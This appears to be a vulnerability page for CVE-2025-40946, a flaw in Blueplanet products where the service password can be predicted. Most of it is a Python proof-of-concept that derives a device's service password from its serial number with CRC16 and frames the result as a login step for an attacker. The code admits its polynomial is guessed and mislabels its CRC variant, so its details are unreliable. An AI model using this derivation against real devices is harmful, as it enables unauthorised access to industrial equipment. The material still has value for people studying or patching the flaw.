CVE-2025-40946: Blueplanet系列产品技术服务凭证预测漏洞

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ PoC for CVE-2025-40946: Blueplanet Credential Prediction This script demonstrates how to derive the service password from a device serial number using a CRC16 algorithm. Note: The specific CRC16 polynomial (e.g., 0x1021, 0x8005) may vary by device model. This example uses a common implementation. """ def calculate_crc16(serial_str): """ Calculate CRC16 checksum of the serial string. Adjust polynomial and initial value based on target device firmware. """ data = serial_str.encode('ascii') crc = 0x0000 # Initial value polynomial = 0xA001 # Polynomial for CRC-16-IBM (Modbus), common in industrial gear for byte in data: crc ^= byte for _ in range(8): if crc & 0x0001: crc = (crc >> 1) ^ polynomial else: crc >>= 1 # Format as 4-digit hexadecimal string, padded with zeros return format(crc, '04X') def exploit(target_serial): print(f"[+] Target Serial: {target_serial}") password = calculate_crc16(target_serial) print(f"[+] Derived Service Password: {password}") print(f"[+] Attempting login...") # In a real scenario, the attacker would use this password to connect # via SSH/Telnet/Web interface. return password if __name__ == "__main__": # Example serial number found on device label device_serial = "1234567890" exploit(device_serial)